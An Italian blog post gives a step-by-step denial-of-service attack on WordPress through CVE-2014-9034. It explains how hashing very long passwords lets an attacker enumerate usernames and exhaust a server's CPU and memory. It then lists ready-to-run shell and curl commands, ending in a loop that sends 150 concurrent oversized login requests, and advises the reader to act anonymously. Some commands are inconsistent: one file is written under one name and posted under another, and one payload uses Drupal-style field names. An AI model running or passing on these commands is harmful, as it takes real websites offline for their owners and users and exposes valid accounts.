E’ possibile testare il comportamento della vulnerabilità DOS CVE2014-9034 da linux direttamente da una finestra di terminale.

La vulnerabilità in oggetto consiste in quanto segue :

  • WordPress confronta la password di login con quella memorizzata nel DB solo se l’utente inserito esiste.
  • Per la password inserita nella schermata di login di WP viene calcolato l’HASH e poi confrontato con quello del DB di WP
  • Se inseriamo una password lunghissima, WP sarà costretto a calcolarne l’HASH e ci metterà diverso tempo …se l’utente inserito esiste nel db … questo ci permette quindi di capire se l’utente che abbiamo inserito esiste o meno!
  • Nel momento in cui avviene la verifica della password i servizi di apache restano in attesa che lo script termini l’esecuzione (di default 30 secondi)
  • Il calcolo del HASH della password consuma risorse CPU sul server che ospita il sito
  • I servizi di apache occupano tanta memoria oltre che l’area di SWAP del disco
  • Se generiamo n tentativi di accesso contemporanei riusciamo a saturare quindi la memoria RAM e l’area di SWAP di apache, e consumiamo risorse CPU per il calcolo multiplo del HASH delle Password delle connessioni multiple che effettuiamo.

Per generare quindi un attacco possiamo sfruttare queste debolezze e procedere da finestra di terminale in due modi a seconda che conosciamo o meno l’utente di accesso a WP:

1- Metodo per scoprire l’utente tentando diversi nomi ad ogni tentativo.

Generiamo un Payload con utente non valido (il simbolo dollaro va tolto, indica che siamo in terminal come root):

$ echo -n “log=NO-VALID-USER&pwd=” > payload && printf “%s” {1..1000000} >> payload && echo -n “&wp-submit=Log In” >> payload

(premere invio)

Poi digitiamo :

$ time curl –data @no_valid_user_payload http://tuosito/wp-login.php –silent > /dev/null &

(premere invio)

 

2 – Se invece conosciamo il nome utente valido, generiamo un Payload con utente valido e quindi digitiamo quanto segue :

$ echo -n “name=nomutentevalido&pass=” > valid_user_payload && printf “%s” {1..1000000} >> valid_user_payload && echo -n “&op=Log in&form_id=user_login” >> valid_user_payload

(premere invio)

$ time curl –data @valid_user_payload http://tuosito/wp-login.php –silent > /dev/null &

(premere invio)

E ora l’attacco vero e proprio dove eseguiamo 150 connessioni contemporane con utente valido:

Poi digitiamo :

$ for i in `seq 1 150`; do (curl –data @valid_user_payload http://tuosito/wp-login.php –silent > /dev/null &); sleep 0.25; done

(premere invio ed attendere!)

Ecco un video che spiega meglio come fare. Ricordo che la cosa va eseguita in anonimità!

 


0 commenti

Lascia un commento